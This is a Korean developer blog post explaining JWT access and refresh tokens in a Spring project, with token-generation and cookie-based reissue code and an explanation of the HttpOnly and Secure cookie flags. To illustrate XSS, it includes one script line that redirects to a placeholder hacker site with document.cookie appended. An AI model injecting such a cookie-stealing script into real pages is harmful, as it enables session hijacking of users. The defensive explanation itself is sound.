본문 바로가기
프로젝트/BalanceTalk

JWT토큰과 RefreshToken

by 미네구스 2024. 4. 19.

프로젝트에 JWT 토큰을 도입하기로 결정하면서, 먼저 구조에 대해서 알아보겠습니다.

 

구조

로그인 했을 때 발급되는 토큰

JWT 토큰은 헤더, payload, signature 세 부분으로 나뉘어져 있습니다. 

 

Header

헤더 값에는 JWT에서 사용할 해시 알고리즘에 대한 정보가 담겨있습니다. 

return Jwts.builder()
                .setClaims(claims)
                .setIssuedAt(now)
                .setExpiration(expireDate)
                .signWith(SignatureAlgorithm.HS512, secretKey)
                .compact();

 

코드에서 HS512 알고리즘을 이용했기 때문에, 헤더값에서 해당 정보를 확인할 수 있었습니다.

 

Payload

서버에서 사용자에 대한 데이터를 저장하는 부분입니다.

 

저는 사용자의 이메일과 id를 넣어주었고, 생성 시간과 만료 시간을 추가해 주었는데 이 부분은 뒤에서 더 설명하겠습니다.

 

Signature

시그니처의 구조는 헤더와 페이로드를 Base64를 통해 인코딩을 해주고 서버가 가지고 있는 key 값을 합친 값 입니다.

 

이를 통해서 JWT 구조에 대해서 알아보았습니다.

 

JWT 토큰은 앞선 포스트에서 얘기했듯이, 클라이언트가 인증 정보를 관리하기 때문에 stateless 합니다. 서버가 인증 정보를 관리하지 않는 방식은 치명적인 문제가 있는데, 바로 탈취 위험 입니다.

 

서버가 토큰 값을 발급해 주고 나면 더 이상 토큰 값에 대해 제어권이 없기 때문에, 탈취된 토큰에 대해서 접근 제한을 하지 못합니다. 따라서, 해커는 한번 탈취된 토큰을 계속 악용할 수 있습니다.

 

이러한 문제를 어떻게 해결할 수 있을까요?


RefreshToken의 등장 

RefreshToken을 도입함에 따라서, 인증 시 필요한 기존 AccessToken의 유효기간을 짧게 설정하여 탈취 되더라도 일정 시간이 지나면 만료되게끔 설정했습니다.

  access-expiration-time: 1800000     # 30분
  refresh-expiration-time: 604800000   # 7일

 

RefreshToken

AccessToken을 재발급 받을 때 필요한 토큰입니다. 

 

재발급 받을 때 먼저 RefreshToken의 유효성 검사를 진행하게 되고, 유효하다면 AccessToken을 재발급 해주고 유효하지 않다면 에러를 클라이언트에 던져줍니다.

 

AccessToken

서버에 인가 요청을 보낼 때, 클라이언트는 AccessToken을 헤더값에 담아 요청을 보내고, 서버는 유효한 토큰인 경우에만 인가 처리를 해주게 됩니다.

 

AccessToken을 헤더값에 담아 서버에 보내는 과정

 

RefreshToken을 도입함에 따라서 보안 문제를 완벽하게 해결한 것은 아니지만, 탈취에 대한 위험성을 줄일 수 있었습니다.

 

프로젝트를 하면서 겪었던 문제

기존에 로그인을 성공했을 때, 클라이언트에 AccessToken과 RefreshToken을 전달해 주었습니다. 하지만, 토큰 재발급 API를 만드는 과정에서 프론트 쪽과 논의하며 얘기했던 부분은 클라이언트가 RefreshToken에 대해서 알면 안된다 였습니다.

 

AccessToken과 RefreshToken을 모두 LocalStorage에서 관리하게 되면, 한꺼번에 탈취가 될 위험성이 있고 이렇게 되면 RefreshToken의 존재의의가 없어집니다. 

 

그렇기 때문에, RefreshToken은 쿠키에 담아서 전달하도록 수정을 했습니다. 

클라이언트에 전달되는 AccessToken
쿠키를 통해서 전달되는 RefreshToken

 

그런데, 쿠키는 보안상에 이슈가 있다고 했는데 어떻게 하면 이러한 문제를 보완할 수 있을까요? 위 그림에서 HttpOnlySecure 옵션이란 무엇일까요?

HttpOnly

HttpOnly를 통해서 XSS 공격을 방지할 수 있습니다.


XSS 공격이란?

<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>

해커가 위와 같은 스크립트를 작성했을 때, 이를 읽은 사용자들은 해커 사이트로 이동하게 되어 cookie 정보가 탈취됩니다. HttpOnly 옵션은 자바스크립트로 접근을 불가능하게 하여 XSS 공격을 차단합니다.

Secure

쿠키는 http, https를 가리지 않고 사용하지만, Secure 옵션을 통해서 https인 경우에만 통신하도록 설정할 수 있습니다.

 

http의 문제점은 서버에서 브라우저로 데이터가 전송될 때 암호화 되지 않아 데이터가 탈취당하기 쉽습니다. 반면에, https는 SSL 인증서를 통해서 탈취되더라도 해커가 해독할 수 없게 데이터를 암호화 하는 과정을 거칩니다.

 

이러한 설정들을 통해서, 클라이언트와 안전하게 쿠키를 주고 받을 수 있었습니다.

 

public String reissueAccessToken(HttpServletRequest request) {
    Cookie[] cookies = request.getCookies();
    for (Cookie cookie : cookies) {
        String name = cookie.getName();
        if (name.equals("refreshToken")) {
            String refreshToken = cookie.getValue();
            Long memberId = extractMemberId(refreshToken);
            jwtTokenProvider.validateToken(refreshToken);
            return jwtTokenProvider.reissueAccessToken(refreshToken, memberId);
        }
    }
    return null;
}

 

위 코드는 토큰을 재발급 받는 로직인데, 클라이언트에서 RefreshToken에 대한 정보를 보내주지 않더라도 저장된 쿠키를 조회하여 이름이 refreshToken이고, 유효성 검사를 통과하는 경우에 한해서 AccessToken을 재발급 해줍니다.

 

로그아웃 상태에서 재발급 불가

 

이렇게 쿠키에 RefreshToken을 담아 전달하는 과정에서 성공적으로 클라이언트는 RefreshToken에 대해서 몰라도 성공적으로 재발급을 받을 수 있게 수정했습니다.

 

 

 

Reference

https://theheydaze.tistory.com/550

 

01. 시큐리티 - HTTP Only 와 Secure Cookie

개념 브라우저(크롬, 사파리)에서 request(요청) GET 또는 POST 하게 되는 경우 모든 쿠키들이 서버에 넘어가 사용자를 체크합니다 오래전 부터 쿠키를 사용하고 있어 많은 사이트 대부분이 쿠키를

theheydaze.tistory.com

https://be-student.tistory.com/72

 

쿠키로 Jwt RefreshToken 관리하기! (내 쿠키는 어디갔지?)

어떤 문제가 있었는가? 이럴 거면 왜 RefreshToken을 사용하는 거지? 과거의 로그인 과정에서 로그인을 진행하면, ResponseBody로 AccessToken과, RefreshToken 이 넘어가게 됩니다. 클라이언트는 이를 모두 Loca

be-student.tistory.com

https://yozm.wishket.com/magazine/detail/130/

 

HTTP vs HTTPS 차이, 알면 사이트의 레벨이 보인다. | 요즘IT

여러분이 지금 보고 있는 그 웹사이트, 주소가 HTTP로 시작하나요? 아니면 HTTPS로 시작하나요? HTTP vs HTTPS 차이를 알면 그 사이트의 보안성과 SEO품질을 알 수 있는데요. 이번 시간 HTTP vs HTTPS의 차이

yozm.wishket.com

 

'프로젝트 > BalanceTalk' 카테고리의 다른 글

프로젝트에 JWT를 도입하게 된 과정  (0) 2024.04.19